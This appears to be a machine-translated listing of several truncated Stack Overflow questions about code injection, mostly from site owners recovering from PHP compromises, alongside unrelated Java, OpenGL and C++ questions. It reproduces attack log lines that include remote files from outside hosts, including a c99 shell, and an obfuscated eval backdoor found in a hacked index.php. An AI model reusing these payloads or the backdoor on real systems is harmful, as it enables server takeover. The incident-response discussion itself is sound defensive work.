有一段时间我的共享托管环境遭到入侵,因为我没有修复已安装的应用程序的组合.上周,这是因为一个名为Help Center Live的PHP应用程序的旧的和未使用的安装.结果是服务器上的每个PHP文件(我有几个Wordpress,Joomlas,SilverStripe安装)都添加了代码,从其他网站中提取隐藏链接并将其包含在我的页面中.其他人报告说,在这种攻击之后他们的网站被谷歌禁止了 - 幸运的是我似乎早就抓住了它.当我从手机浏览其中一个网站时,我才注意到它 - 该页面上有移动浏览器中包含的链接.
我在日志中发现了许多像这样的攻击尝试:
62.149.18.193 - [06/Feb/2009:14:52:45 +0000]"GET /support/module.php?module= HelpCenter // include/main.php?config [search_disp] = true&include_dir = http:/ /www.portlandonnuri.com/ 2008_web // technote7/data/photo/id2.txt ??? HTTP/1.1"200 26" - ""libwww-perl/5.814"
我立即删除了这个应用程序,并编写了一个脚本,从每个源文件中删除了有问题的PHP代码.我还发现该脚本创建了包含其他受感染网站链接的HTML文件.我也删除了它们.现在我担心攻击者可能遗漏了我错过的其他东西 - 某个地方的PHP文件会让他永久访问.文件日期都在攻击中被修改,我找不到在相关时间内更改的任何其他文件.为了确保我的服务器上没有后门,是否有一些我错过的显而易见的东西?
编辑:我还搜索包含攻击代码的文本文件,如上面的日志文件片段中所示.我没找到任何.
另一个编辑:如果你碰巧碰到这篇文章,因为你发现自己处于相同的情况,也许这会对你有所帮助.我用它来备份我的所有PHP源文件,然后再操作它们:
find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;
Run Code Online (Sandbox Code Playgroud)
这是为了撤消攻击者所做的更改:
find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;
Run Code Online (Sandbox Code Playgroud)
不是火箭科学,但对于像我这样偶尔的Linux/Unix用户来说也不是微不足道的:-).
另一个编辑:我无法审核服务器上的每一行代码,但我可以搜索可疑数据.我搜索了所有出现的"eval"和"base64"并没有找到任何看起来不合法的东西.然后我为".ru"运行了一个grep(因为肇事者似乎是从那里来的)而且,看哪,发现了一个叫做c99 shell的东西,我迅速将其移除.
最终编辑:我发现了如何上传c99 shell - 通过Coppermine Photo Gallery中的一个洞.
97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST
/pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
/c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 …Run Code Online (Sandbox Code Playgroud) 我们都知道,在Web层中,可能只存在给定Servlet的单个实例,该实例为多个请求提供服务.这可能导致实例变量中的线程问题.
我的问题是,使用@EJB注释将EJB作为实例变量注入servlet是否安全?
在假设EJB的同一实例同时为多个请求提供服务的情况下,我的初衷是不.看起来这也是许多其他程序员的本能:不要注入servlet
但是我得出了错误的结论.显然,注入servlet的是一个代理,在容器下,容器实际上是用不同的实例为每个请求服务并保持线程安全吗?正如这个论坛所建议的那样:注入servlet
似乎存在很多相互矛盾的观点.哪个是对的???
我有一个codeigniter 2.0.2项目,一直被黑客入侵.有两个主要问题:
index.php文件的开头根据主机,没有FTP日志表明这些文件已上传.
由于没有与恶意文件相关的FTP上传日志 - 这是否意味着它必须是通过网站本身的利用,例如联系或上传表单?
该网站是在共享主机上 - 代码它是同一台服务器上的网站也被黑客攻击,这是导致问题的原因?
如果我将index.php的文件名更改为其他内容会有帮助吗?
由于index.php是越来越修改我应该执行命令chmod 644?
我一直在寻找codeigniter项目的建议权限,但尚未获得任何来源.除了上传/日志目录(777)之外,我在网站上想到644 - 这听起来不错吗?
注入index.php文件顶部的代码:
<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-
然后是一个带有长编码字符串的长preg_replace语句.接下来是第二个声明:
if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}
有一个联系表单和一个表单,用户可以使用CKFinder 2.0.1上传项目.要更新它,看看是否能解决它.
从我年轻的时候起,我一直在"黑客攻击"我最喜欢的游戏之一,并且我已经设法能够拦截OpenGL调用并使用opengl32.dll包装器注入C++代码.我已经能够为此提出一些很酷的用途,但我目前的目标是在这款旧游戏中实现后处理glsl着色器,使其看起来更现代.该游戏最初是在90年代后期发布的,因此它对OpenGL及其渲染代码的使用是有限/原始/过时的.
我已经能够通过注入代码来初始化和使用glsl着色器程序来成功生成顶点和片段着色器,但我的问题在于生成一个帧缓冲区/将我的场景渲染到纹理以作为采样器发送到我的片段着色器.据我所知,我生产的纹理通常都是黑色的.
很难找到与我正在做的事情相关的资源并检查原始的opengl调用(我一直在尝试通过读取单帧游戏玩法的opengl跟踪来确定插入代码的位置),所以我没有去过能够绕过我做错的事情.
我已经尝试将代码放在很多地方,但是目前,我在游戏调用后绑定了framebuffer,wglSwapBuffers()并且在下一个glFlush()调用之前我立即解除绑定,但是我不确定是否有多个视口设置,或矩阵运算,或在这些时间之间创建的任何其他东西都会以某种方式搞乱帧缓冲.
这是初始化帧缓冲区的代码:
void initFB()
{
/* Texture */
glActiveTexture(GL_TEXTURE0);
glGenTextures(1, &fbo_texture);
glBindTexture(GL_TEXTURE_2D, fbo_texture);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1920, 1080, 0, GL_RGBA, GL_UNSIGNED_BYTE, NULL);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
glBindTexture(GL_TEXTURE_2D, 0);
/* Depth buffer */
glGenRenderbuffers(1, &fbo_depth);
glBindRenderbuffer(GL_RENDERBUFFER, fbo_depth);
glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH_COMPONENT16, 1920, 1080);
glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_RENDERBUFFER, fbo_depth);
glBindRenderbuffer(GL_RENDERBUFFER, 0);
/* Framebuffer to link everything together */
glGenFramebuffers(1, &fbo);
glBindFramebuffer(GL_FRAMEBUFFER, fbo);
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, fbo_texture, 0);
glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_RENDERBUFFER, …Run Code Online (Sandbox Code Playgroud) 我有一个问题,我需要能够有一个编译的exe(.net 3.5 c#),我将复制分发,例如在发送exe之前需要更改密钥.
每次需要新的exe时我都无法编译.这是一个瘦客户端,将用作注册过程的一部分.
是否可以向具有空值的资源文件添加条目,然后当请求进入时,另一个应用程序获取空白的默认瘦客户端,复制它,用所需数据填充空白值.
如果有,怎么样?如果没有,你有什么想法吗?我现在已经摸不着头几天了,这个限制是由于我需要工作的边界.
我的另一个想法是将值注入一个方法,我不知道我怎么会尝试这个.
谢谢.
我有一个这样的类,我在我的代码中创建自己:
class StarryEyes {
@Inject MyValidator validator;
public StarryEyes(String name) {
//..
}
public doSomething() {
// validator is NULL
}
}
Run Code Online (Sandbox Code Playgroud)
我希望Guice注入一个验证器实例,它有一个@Singleton注释.我有一个在启动时加载的模块,它包含以下行:
bind(MyValidator.class);
Run Code Online (Sandbox Code Playgroud)
但是,它似乎不起作用,因为"验证器"始终为空.我试过了很多变化,比如:
bind(MyValidator.class)toInstance(new MyValidator());
Run Code Online (Sandbox Code Playgroud)
或其他类似的事情.这不是Guice应该如何运作的吗?
我希望有人可以为我回答这个问题,因为我已经相当长时间地对此感到好奇,但似乎无法获得答案.但是,我相信这里有人能够,因为这里有一些非常聪明的人.
现在,问题.我将使用远程命令执行漏洞作为示例.
<?php echo preg_replace('/(.*)/e', 'strtoupper("\\1")', $argv[1]); ?>
Run Code Online (Sandbox Code Playgroud)
为了利用这一点,攻击者只需输入{${phpinfo()}}例如.我的问题如下:
{},为什么它看起来像变量?谢谢!
我试着用谷歌搜索没有运气,所以我在这里尝试.
我有几个类,每个类都定义一个成员struct foo.此成员类型foo本身可以继承自前一个类,因此可以获取成员类型foo.
我想foo使用模板元编程访问嵌套类型(见下文),但是c ++名称注入引入了问题,因为上层foo类型名称被注入到较低foo类型中,而上层类型名称在我想要访问较低类型时被解析,比如使用A::foo::foo.
这是一个例子:
#include <type_traits>
struct A;
struct B;
struct A {
struct foo;
};
struct B {
struct foo;
};
struct A::foo : B { };
struct B::foo : A { };
// handy c++11 shorthand
template<class T>
using foo = typename T::foo;
static_assert( std::is_same< foo< foo< A > >, foo< B > >::value,
"this should not fail (but it does)" ); …Run Code Online (Sandbox Code Playgroud) 我正在使用以下代码:
AppDomain.CurrentDomain.AssemblyLoad += (sender, args) =>
{
var token = args.LoadedAssembly.GetName().GetPublicKeyToken();
if (!IsValidToken(token))
{
Process.GetCurrentProcess().Kill();
}
};
Run Code Online (Sandbox Code Playgroud)
凡IsValidToken()进行比较加载反对我作为字节数组应用硬编码授权的公钥标记列表组件的公钥标记.
这是防止代码注入攻击的良好安全措施吗?此外,鉴于我稍后将使用NetReactor混淆我的应用程序,这是否必要?我试图阻止任何"窥探"我的应用程序,不仅来自Snoop工具,而且来自任何外部不受欢迎的来源.
code-injection ×10
php ×3
assemblies ×2
c# ×2
java ×2
security ×2
.net-4.0 ×1
c++ ×1
c++11 ×1
codeigniter ×1
disassembly ×1
ejb-3.0 ×1
executable ×1
framebuffer ×1
guice ×1
mongodb ×1
nested ×1
null ×1
opengl ×1
servlets ×1
typename ×1